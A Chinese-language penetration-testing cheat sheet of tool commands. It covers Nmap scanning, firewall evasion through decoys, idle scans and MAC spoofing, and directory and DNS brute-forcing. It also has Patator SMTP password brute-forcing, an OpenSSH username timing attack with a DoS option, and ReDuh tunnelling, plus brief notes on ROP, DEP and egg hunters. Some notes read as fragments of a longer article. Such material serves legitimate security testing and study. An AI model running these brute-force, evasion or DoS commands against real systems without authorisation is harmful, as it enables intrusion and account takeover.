最好的 NMAP 扫描策略
$ nmap -sn -T4 -oG Discovery.gnmap 192.168.56.0/24
$ grep "Status: Up" Discovery.gnmap | cut -f 2 -d ' ' > LiveHosts.txt
$ nmap -sS -T4 -Pn -oG TopTCP -iL LiveHosts.txt
$ nmap -sU -T4 -Pn -oN TopUDP -iL LiveHosts.txt
$ nmap -sS -T4 -Pn --top-ports 3674 -oG 3674 -iL LiveHosts.txt
端口发现，发现全部端口，但 UDP 端口的扫描会非常慢 $ nmap -sS -T4 -Pn -p 0-65535 -oN FullTCP -iL LiveHosts.txt
$ nmap -sU -T4 -Pn -p 0-65535 -oN FullUDP -iL LiveHosts.txt
$ grep "open" FullTCP|cut -f 1 -d ' ' | sort -nu | cut -f 1 -d '/' |xargs | sed 's/ /,/g'|awk '{print "T:"$0}'
$ grep "open" FullUDP|cut -f 1 -d ' ' | sort -nu | cut -f 1 -d '/' |xargs | sed 's/ /,/g'|awk '{print "U:"$0}'
$ nmap -sV -T4 -Pn -oG ServiceDetect -iL LiveHosts.txt
$ nmap -O -T4 -Pn -oG OSDetect -iL LiveHosts.txt
$ nmap -O -sV -T4 -Pn -p U:53,111,137,T:21-25,80,139,8080 -oG OS_Service_Detect -iL LiveHosts.txt
Nmap – 躲避防火墙
$ nmap -f
修改默认 MTU 大小，但必须为 8 的倍数(8,16,24,32 等等) $ nmap --mtu 24
$ nmap -D RND:10 [target]
$ nmap -D decoy1,decoy2,decoy3 etc.
$ nmap -sI [Zombie IP] [Target IP]
$ nmap --source-port 80 IP
$ nmap --data-length 25 IP
MAC 地址欺骗，可以生成不同主机的 MAC 地址 $ nmap --spoof-mac Dell/Apple/3Com IP
Nmap 进行 Web 漏洞扫描
cd /usr/share/nmap/scripts/
wget http://www.computec.ch/projekte/vulscan/download/nmap_nse_vulscan-2.0.tar.gz && tar xzf nmap_nse_vulscan-2.0.tar.gz
nmap -sS -sV --script=vulscan/vulscan.nse target

使用 DIRB 爆破目录
注：DIRB 是一个专门用于爆破目录的工具，在 Kali 中默认已经安装，类似工具还有国外的patator，dirsearch，DirBuster， 国内的御剑等等。
dirb http://IP:PORT /usr/share/dirb/wordlists/common.txt
Patator – 全能暴力破解测试工具
$ patator smtp_login host=192.168.17.129 user=Ololena password=FILE0 0=/usr/share/john/password.lst
$ patator smtp_login host=192.168.17.129 user=FILE1 password=FILE0 0=/usr/share/john/password.lst 1=/usr/share/john/usernames.lst
$ patator smtp_login host=192.168.17.129 helo='ehlo 192.168.17.128' user=FILE1 password=FILE0 0=/usr/share/john/password.lst 1=/usr/share/john/usernames.lst
$ patator smtp_login host=192.168.17.129 user=Ololena password=FILE0 0=/usr/share/john/password.lst -x ignore:fgrep='incorrect password or account name'
使用 Fierce 爆破 DNS
注：Fierce 会检查 DNS 服务器是否允许区域传送。如果允许，就会进行区域传送并通知用户，如果不允许，则可以通过查询 DNS 服务器枚举主机名。类似工具：subDomainsBrute 和 SubBrute 等等
$ ./fierce.pl -dns example.com
$ ./fierce.pl –dns example.com –wordlist myWordList.txt

注：ROP(“Return-Oriented Programming”)是计算机安全漏洞利用技术，该技术允许攻击者在安全防御的情况下执行代码，如不可执行的内存和代码签名。
DEP(“Data Execution Prevention”)是一套软硬件技术，在内存上严格将代码和数据进行区分，防止数据当做代码执行。

寻蛋(EGG Hunter)技术
Egg hunting这种技术可以被归为“分级shellcode”，它主要可以支持你用一小段特制的shellcode来找到你的实际的（更大的）shellcode（我们的‘鸡蛋‘），原理就是通过在内存中搜索我们的最终shellcode。换句话说，一段短代码先执行，然后再去寻找真正的shellcode并执行。– 参考自看雪论坛，更多详情可以查阅我在代码注释中增加的链接。

针对 OpenSSH 用户进行枚举时序攻击
注：枚举时序攻击(“Enumeration Timing Attack”)属于侧信道攻击/旁路攻击(Side Channel Attack)，侧信道攻击是指利用信道外的信息，比如加解密的速度/加解密时芯片引脚的电压/密文传输的流量和途径等进行攻击的方式，一个词形容就是“旁敲侧击”。–参考自 shotgun 在知乎上的解释。
osueta 是一个用于对 OpenSSH 进行时序攻击的 python2 脚本，其可以利用时序攻击枚举 OpenSSH 用户名，并在一定条件下可以对 OpenSSH 服务器进行 DOS 攻击。
$ ./osueta.py -H 192.168.1.6 -p 22 -U root -d 30 -v yes
$ ./osueta.py -H 192.168.10.22 -p 22 -d 15 -v yes –dos no -L userfile.txt
使用 ReDuh 构造合法的 HTTP 请求以建立 TCP 通道
注： ReDuh 是一个通过 HTTP 协议建立隧道传输各种其他数据的工具。其可以把内网服务器的端口通过 http/https 隧道转发到本机，形成一个连通回路。用于目标服务器在内网或做了端口策略的情况下连接目标服务器内部开放端口。
对了亲～ReDuh-Gui 号称端口转发神器哦。
